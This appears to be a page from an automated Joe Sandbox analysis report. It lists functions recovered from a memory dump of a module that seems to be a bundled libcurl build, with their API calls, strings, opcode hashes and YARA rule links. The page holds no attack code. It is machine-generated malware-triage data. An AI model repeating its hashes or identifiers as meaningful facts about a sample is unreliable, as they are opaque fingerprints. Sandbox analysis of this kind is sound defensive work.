Function 6B6FACC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,?,00000002,6B6FAEAE), ref: 6B6FACCE
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6B6FACE8
_strpbrk.LIBCMT ref: 6B6FACFC

Strings

LoadLibraryExA, xrefs: 6B6FACE2
kernel32, xrefs: 6B6FACC7
AddDllDirectory, xrefs: 6B6FAD30

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: AddressHandleModuleProc_strpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 1657965159-3327535076
Opcode ID: fabef46edf3d5ddf9ffdfcb8dbc91b4d58f699b7bd92a86de09bc508f7fc962e
Instruction ID: 3cdfb9cf8c5b9df081703b9c2b6757d82918591f0d8d06973f1655f8902bb730
Opcode Fuzzy Hash: fabef46edf3d5ddf9ffdfcb8dbc91b4d58f699b7bd92a86de09bc508f7fc962e
Instruction Fuzzy Hash: 51417B75705301ABEF105E78AC44BAABB7EEF42216F1041FAEC45D7302EA76D50B86A0

Function 6B71D7CA Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 6B71D46B: CreateFileW.KERNEL32(00000000,00000000,?,6B71D873,?,?,00000000,?,6B71D873,00000000,0000000C), ref: 6B71D488

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B71D8DE
__dosmaperr.LIBCMT ref: 6B71D8E5
GetFileType.KERNEL32(00000000), ref: 6B71D8F1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B71D8FB
__dosmaperr.LIBCMT ref: 6B71D904
CloseHandle.KERNEL32(00000000), ref: 6B71D924
CloseHandle.KERNEL32(?), ref: 6B71DA71
GetLastError.KERNEL32 ref: 6B71DAA3
__dosmaperr.LIBCMT ref: 6B71DAAA

Strings

H, xrefs: 6B71DA2F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 9054532257f645352201d3244592876df4c68bf5ab8d49cdf312eb2ceb4418c3
Instruction ID: e64a4bbb05c511aba57e95086107a43e2067e70b1e50d35fbbb5aa4c696e1284
Opcode Fuzzy Hash: 9054532257f645352201d3244592876df4c68bf5ab8d49cdf312eb2ceb4418c3
Instruction Fuzzy Hash: DDA10332A481549FCF199F78C95579E3BB0AB0A324F1901AAF825AF391D738D902CB65

Function 6B6CDBC0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 186COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000018,%04d%02d%02d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6B6CDC9D
curl_msnprintf.LIBCURL(?,00000080,Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT,?,?,?,?,?,?), ref: 6B6CDD74

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

Strings

%04d%02d%02d %02d:%02d:%02d GMT, xrefs: 6B6CDC95
%04d%02d%02d%02d%02d%02d, xrefs: 6B6CDC58
Given file does not exist, xrefs: 6B6CDC0D
unsupported MDTM reply format, xrefs: 6B6CDBFA
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 6B6CDD69
The requested document is not old enough, xrefs: 6B6CDE3D
Skipping time comparison, xrefs: 6B6CDE44
The requested document is not new enough, xrefs: 6B6CDDF0

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintf$curl_mvsnprintf
String ID: %04d%02d%02d %02d:%02d:%02d GMT$%04d%02d%02d%02d%02d%02d$Given file does not exist$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT$Skipping time comparison$The requested document is not new enough$The requested document is not old enough$unsupported MDTM reply format
API String ID: 405648482-226030088
Opcode ID: 22b839fdc5e172a77159fc2357bd0b84df3d44dc5f576edaad93ca6e5be10000
Instruction ID: 197667be88505e7d98f464c3d17ead9ae89c6b987209ede2662b76dbc58d2ceb
Opcode Fuzzy Hash: 22b839fdc5e172a77159fc2357bd0b84df3d44dc5f576edaad93ca6e5be10000
Instruction Fuzzy Hash: A461B3B1D81208ABDB20CE74DD81FDBB7B9EF59304F0044E9E55DA7101EB39AA44CB66

Function 6B6ED9D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 144COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6EDA0F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6EDA4D
curl_msnprintf.LIBCURL(6B6D1696,00000009,%2I64d:%02I64d:%02I64d,6B6D1696,?,00000000,?,?,6B6D1696,?,6B6D1696,0000003C,00000000,00000000,?,00000E10), ref: 6B6EDAA5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6EDABD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6EDAF2
curl_msnprintf.LIBCURL(6B6D1696,00000009,%3I64dd %02I64dh,00000000,6B6D1696,00000000,?,?,6B6D1696,00000E10,00000000,00000000,?,00015180,00000000,?), ref: 6B6EDB07
curl_msnprintf.LIBCURL(6B6D1696,00000009,%7I64dd,00000000,?,?,6B6D1696,00015180,00000000,?,6B6D1696,00000E10,00000000,?,6B6D1696,?), ref: 6B6EDB22

Strings

%2I64d:%02I64d:%02I64d, xrefs: 6B6EDA9B
%7I64dd, xrefs: 6B6EDB18
%3I64dd %02I64dh, xrefs: 6B6EDAFD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf
String ID: %2I64d:%02I64d:%02I64d$%3I64dd %02I64dh$%7I64dd
API String ID: 2752550610-564197712
Opcode ID: 0f65646651f7a0fc50060a6456349b8454f9c428810601e43edc711e83d06594
Instruction ID: 0f6af298b92b236e4dd58dee2108c11e613e4a8f3652fa1d2189de4d7d3c34f1
Opcode Fuzzy Hash: 0f65646651f7a0fc50060a6456349b8454f9c428810601e43edc711e83d06594
Instruction Fuzzy Hash: 0C4127B3B452587AEB205D7D8C41FAEB7ADDBC4654F010175FE08EB181E6759E1183A0

Function 6B6C1A20 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 322COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000005,%c%c%c%c,?,?,?,?), ref: 6B6C1B38
curl_msnprintf.LIBCURL(?,00000005,%c%c%c=,?,?,?), ref: 6B6C1B5D
curl_msnprintf.LIBCURL(?,00000005,%c%c==,?,?), ref: 6B6C1B79

Strings

%c%c==, xrefs: 6B6C1B6F
%ld%s, xrefs: 6B6C1C74, 6B6C1D35
%c%c%c%c, xrefs: 6B6C1B2E
%c%c%c=, xrefs: 6B6C1B53

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %c%c%c%c$%c%c%c=$%c%c==$%ld%s
API String ID: 1809024409-1523555428
Opcode ID: 4e89af8ca3a0744049a8e06133cd5a8fc1e5283f227c1a151c68a508b1547f8e
Instruction ID: 756191bbaedad514f8018278870dc97671c3e05179a42d73150d25e069e8ed33
Opcode Fuzzy Hash: 4e89af8ca3a0744049a8e06133cd5a8fc1e5283f227c1a151c68a508b1547f8e
Instruction Fuzzy Hash: C6B1F7B18046659FDB11CF68C841BEBBBF8EF06305F0441D9E89997242E738EA55CFA1

Function 6B6FA0E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000100), ref: 6B6FA0E7
_strncpy.LIBCMT ref: 6B6FA12D
_strrchr.LIBCMT ref: 6B6FA16D
_strrchr.LIBCMT ref: 6B6FA188
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 6B6FA1B3
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 6B6FA1C1

Strings

Unknown error %d (%#x), xrefs: 6B6FA157

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast$_strrchr$_strncpy
String ID: Unknown error %d (%#x)
API String ID: 1320708361-2414550090
Opcode ID: 4bc7eb8cb7fa0174de4a4c8cef1df29752d394e603d3ce6d8c3afe2fd8b8b869
Instruction ID: 11b8faec238d637ce63f0664058769893bab3c1bf6ada8b2aeda52ad49f0f00f
Opcode Fuzzy Hash: 4bc7eb8cb7fa0174de4a4c8cef1df29752d394e603d3ce6d8c3afe2fd8b8b869
Instruction Fuzzy Hash: D82124F0A08218ABDB019E759D46B6F7BBEDF56259F0500A9FC0497341FB3CD90282B2

Function 6B71E10C Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94790f7b36c75f92f305361892dd1a9517c1e099814a6b8a2d9c92fe5c616704
Instruction ID: 9aebfa192b8b12b5170a03353edde7138b648a09940d312f7f953abd4a19ffda
Opcode Fuzzy Hash: 94790f7b36c75f92f305361892dd1a9517c1e099814a6b8a2d9c92fe5c616704
Instruction Fuzzy Hash: 7FC1D774E1C2099FDB05CFA9CA95BAD7BB5AF4A304F0840A9F814AB781C778D941CB71

Function 6B6CA760 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 367COMMON

Download Yara Rule

Strings

Content-Length: %I64d, xrefs: 6B6CA87D
failed to resume file:// transfer, xrefs: 6B6CAC25
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s, xrefs: 6B6CA935
Can't get the size of file., xrefs: 6B6CA9CE
Accept-ranges: bytes, xrefs: 6B6CA8AC

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %I64d$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s$failed to resume file:// transfer
API String ID: 601868998-1509146019
Opcode ID: 98f7d449c6bfa1ca15b7a9835ae2746441344d3c1c49412aee0be5b1c7b32dfa
Instruction ID: 634b1118eafc5989245f7bd42f4f1f3293f54e57dd838adf67f371553bba65de
Opcode Fuzzy Hash: 98f7d449c6bfa1ca15b7a9835ae2746441344d3c1c49412aee0be5b1c7b32dfa
Instruction Fuzzy Hash: 3CD1B5B1E052189BEB208B78DD41BEEB7B6EF45304F0040E9E94DA7251EB795E84CF52

Function 6B6CD3D0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 250COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6CD48A
_strncpy.LIBCMT ref: 6B6CD4D6
___from_strstr_to_strchr.LIBCMT ref: 6B6CD4FF
_strrchr.LIBCMT ref: 6B6CD518
_strncpy.LIBCMT ref: 6B6CD58A

Strings

Request has same path as previous transfer, xrefs: 6B6CD68E
Uploading to a URL without a file name!, xrefs: 6B6CD5EB

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr_strncpy$_strrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
API String ID: 2378022753-131330169
Opcode ID: cdf88c9ce463338a7db816b0a20c62d7f4484c21747a840acdb8a6d79eb0e5ea
Instruction ID: 3a3ba580c8aac3caf7216a29d0aa8fd6b6fcbac099a50cd1788aadeaa10312bc
Opcode Fuzzy Hash: cdf88c9ce463338a7db816b0a20c62d7f4484c21747a840acdb8a6d79eb0e5ea
Instruction Fuzzy Hash: 319109B0EC4206ABDB049F34C845B9B7BB5EF05349F4041B9E91C9B241EB3AE955CB92

Function 6B6C6600 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 223COMMON

Download Yara Rule

APIs

curl_mfprintf.LIBCURL(?,%s,00000000), ref: 6B6C679A

Strings

# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 6B6C6707
%s.%s.tmp, xrefs: 6B6C66C1
%s, xrefs: 6B6C6792
## Fatal libcurl error, xrefs: 6B6C67F5

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_mfprintf
String ID: ## Fatal libcurl error$# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s$%s.%s.tmp
API String ID: 8901498-4087121635
Opcode ID: 8c9f91b2b9dd09e41646499e2bd255609ed6bab9927efc7c56afc9f99fa9414c
Instruction ID: dfa56364d59a99fe1429faf0f93a7fbf28a3ed93a85161bf7c41ecad162bf21c
Opcode Fuzzy Hash: 8c9f91b2b9dd09e41646499e2bd255609ed6bab9927efc7c56afc9f99fa9414c
Instruction Fuzzy Hash: EB61C5F1E042499BDF009FB899967FF7B74DF05208F0400B5ED15A7201DB6E9A1587BA

Function 6B6CD8E0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 180COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 6B6CD99A

Strings

Getting file with size: %I64d, xrefs: 6B6CDA77
Maxdownload = %I64d, xrefs: 6B6CDA5B
RETR response: %03d, xrefs: 6B6CD92D
, xrefs: 6B6CD93B
Data conn was not available immediately, xrefs: 6B6CDABC
bytes, xrefs: 6B6CD991

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _strstr
String ID: $ bytes$Data conn was not available immediately$Getting file with size: %I64d$Maxdownload = %I64d$RETR response: %03d
API String ID: 2882301372-2096918210
Opcode ID: 8290ebe91560c22c55ef0b3e341de28725afcb1cc9b361f31e2de5889394c699
Instruction ID: 96789ce383bd04674a701ef3648d321ea016b8b75076bff557cbf469d3f5118d
Opcode Fuzzy Hash: 8290ebe91560c22c55ef0b3e341de28725afcb1cc9b361f31e2de5889394c699
Instruction Fuzzy Hash: 9E5116F5DC82449BDB10CFB8D84179B7BA5EB45325F0042EAED6C8B291D338D640C792

Function 6B6CEA30 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 155COMMON

Download Yara Rule

Strings

Got a %03d response code instead of the assumed 200, xrefs: 6B6CEA68
%s%s%s, xrefs: 6B6CEB37
LIST, xrefs: 6B6CEB18
NLST, xrefs: 6B6CEB13, 6B6CEB36
Couldn't set desired mode, xrefs: 6B6CEA4A

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: %s%s%s$Couldn't set desired mode$Got a %03d response code instead of the assumed 200$LIST$NLST
API String ID: 3418963191-1262176364
Opcode ID: 68ba51bbfc55316b71ac0a96cd6f3283158b4c639445504842a15477877eafa0
Instruction ID: 303aaffe092a083ed2fad88b94385757016feeefe0c3b3637fb3178f410f00bc
Opcode Fuzzy Hash: 68ba51bbfc55316b71ac0a96cd6f3283158b4c639445504842a15477877eafa0
Instruction Fuzzy Hash: 064129F2B001146BEB105A78ED83BAB77A9DB44669F0044B6FD0DDB201E729E90487E1

Function 6B6DD930 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6DD9E9
curl_maprintf.LIBCURL(%.*s,00000000,?,?,?,?,?,?,?,?,?,00000000,?,CONNECT,00000000,00000001), ref: 6B6DD9FE

Part of subcall function 6B6E48E0: curl_mvaprintf.LIBCURL(?,?,?,6B6C66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B6E48EA

curl_maprintf.LIBCURL(%sAuthorization: Digest %s,Proxy-,?), ref: 6B6DDA61

Strings

Digest, xrefs: 6B6DD93E, 6B6DDA2D
%.*s, xrefs: 6B6DD9F9
%sAuthorization: Digest %s, xrefs: 6B6DDA5C
Proxy-, xrefs: 6B6DDA53, 6B6DDA5B

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_maprintf$___from_strstr_to_strchrcurl_mvaprintf
String ID: %.*s$%sAuthorization: Digest %s$Digest$Proxy-
API String ID: 2694567262-3976116069
Opcode ID: fb7b42ccafa9272e29a5c5e8ef71a97789e160fd7d39aba23cf0a8386375ec61
Instruction ID: cd681da111291c5cca8b91e5663ef7c99c9a4c8b143f86e1a0535c4608983f6c
Opcode Fuzzy Hash: fb7b42ccafa9272e29a5c5e8ef71a97789e160fd7d39aba23cf0a8386375ec61
Instruction Fuzzy Hash: DE4175B1A04249EFDB00DFA8D881BAD7BE5EF45345F0480BAF908DB351E735DA548BA1

Function 6B6E28F0 Relevance: 12.2, APIs: 8, Instructions: 199COMMON

Download Yara Rule

APIs

curl_mime_data.LIBCURL(?,?,?), ref: 6B6E2917
curl_mime_filedata.LIBCURL(?,?), ref: 6B6E292A
curl_mime_data_cb.LIBCURL(?,?,?,?,?,?,?), ref: 6B6E2955
curl_mime_init.LIBCURL ref: 6B6E2963
curl_mime_subparts.LIBCURL(?,00000000), ref: 6B6E2976
curl_mime_addpart.LIBCURL(00000000), ref: 6B6E299D
curl_slist_free_all.LIBCURL(00000000,?), ref: 6B6E2A1B
curl_slist_free_all.LIBCURL(?,?), ref: 6B6E2A44

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_slist_free_all$curl_mime_addpartcurl_mime_datacurl_mime_data_cbcurl_mime_filedatacurl_mime_initcurl_mime_subparts
String ID:
API String ID: 3177825088-0
Opcode ID: 364637ce9c6135f1bbe082f9c174ab8bbb885e5a07112bfcc50d1ad14a7a9042
Instruction ID: cc499bcc60937daa1f63f82483fa7fda9518ea249878dd7ce8d1e37952132f69
Opcode Fuzzy Hash: 364637ce9c6135f1bbe082f9c174ab8bbb885e5a07112bfcc50d1ad14a7a9042
Instruction Fuzzy Hash: CA5137F2A06116ABDF109F29E88155B7765FF04315B0401B8ED099B705E73AE832DBF1

Function 6B6D0900 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 318COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s%s,?,?), ref: 6B6D09B1
_strrchr.LIBCMT ref: 6B6D0B63

Strings

Wildcard - "%s" skipped by user, xrefs: 6B6D0A3F
Wildcard - Parsing started, xrefs: 6B6D0C1F
Wildcard - START of "%s", xrefs: 6B6D09E0
%s%s, xrefs: 6B6D09AC

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _strrchrcurl_maprintf
String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - Parsing started$Wildcard - START of "%s"
API String ID: 1669751406-1301414817
Opcode ID: 1a8fc2155270accc352df8052af9171a5c3bf574f5dc9894ba67ba9ca57e908c
Instruction ID: 9391c6fe5e15b812a7646d35185527fbe367e4ccf26cf432ed6c2e05ae955e04
Opcode Fuzzy Hash: 1a8fc2155270accc352df8052af9171a5c3bf574f5dc9894ba67ba9ca57e908c
Instruction Fuzzy Hash: 76C1CFB5A006009FDB10CF28D881BD6BBE1EF45305F1440BAEA6DCB311E77AE995CB91

Function 6B6DDC80 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 249COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%sAuthorization: Negotiate %s,Proxy-,00000000,?,?,00000000,?), ref: 6B6DDF14

Strings

Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 6B6DDD49
%sAuthorization: Negotiate %s, xrefs: 6B6DDF0F
HTTP, xrefs: 6B6DDD6D, 6B6DDE59
Negotiate auth restarted, xrefs: 6B6DDE0A
Proxy-, xrefs: 6B6DDF06, 6B6DDF0E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_maprintf
